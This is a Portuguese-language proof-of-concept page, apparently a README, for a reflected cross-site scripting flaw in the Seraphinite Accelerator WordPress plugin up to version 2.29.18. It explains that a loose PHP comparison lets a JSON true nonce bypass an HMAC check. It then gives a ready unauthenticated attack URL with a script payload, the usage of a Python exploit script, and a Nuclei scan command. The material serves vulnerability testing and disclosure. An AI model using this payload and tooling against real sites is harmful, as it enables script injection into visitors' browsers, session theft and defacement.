
Seraphinite Accelerator <= 2.29.18 - PoC de Cross-Site Scripting Refletido
O plugin assina suas requisições internas de "prepare page" com um HMAC no
parâmetro seraph_accel_prep (JSON codificado em base64), mas o compara com o
!= flexível do PHP. Enviar o booleano JSON true como nonce faz com que a
comparação sempre passe, e o campo selfTest é então refletido de volta sem
escape como selfTest-<value>.
Uma única URL, sem autenticação:
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>
Python (requer pip install requests):
usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]
Seraphinite Accelerator (WordPress) <= 2.29.18
options:
-h, --help show this help message and exit
--url URL target site, e.g. http://target-site.com
--payload PAYLOAD XSS payload (default: <script>alert(document.domain)</script>)
--timeout TIMEOUT seconds (default: 30)
Nuclei:
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10
O -timeout 10 é necessário porque o caminho de código vulnerável fica em pausa
por 5 segundos antes de responder.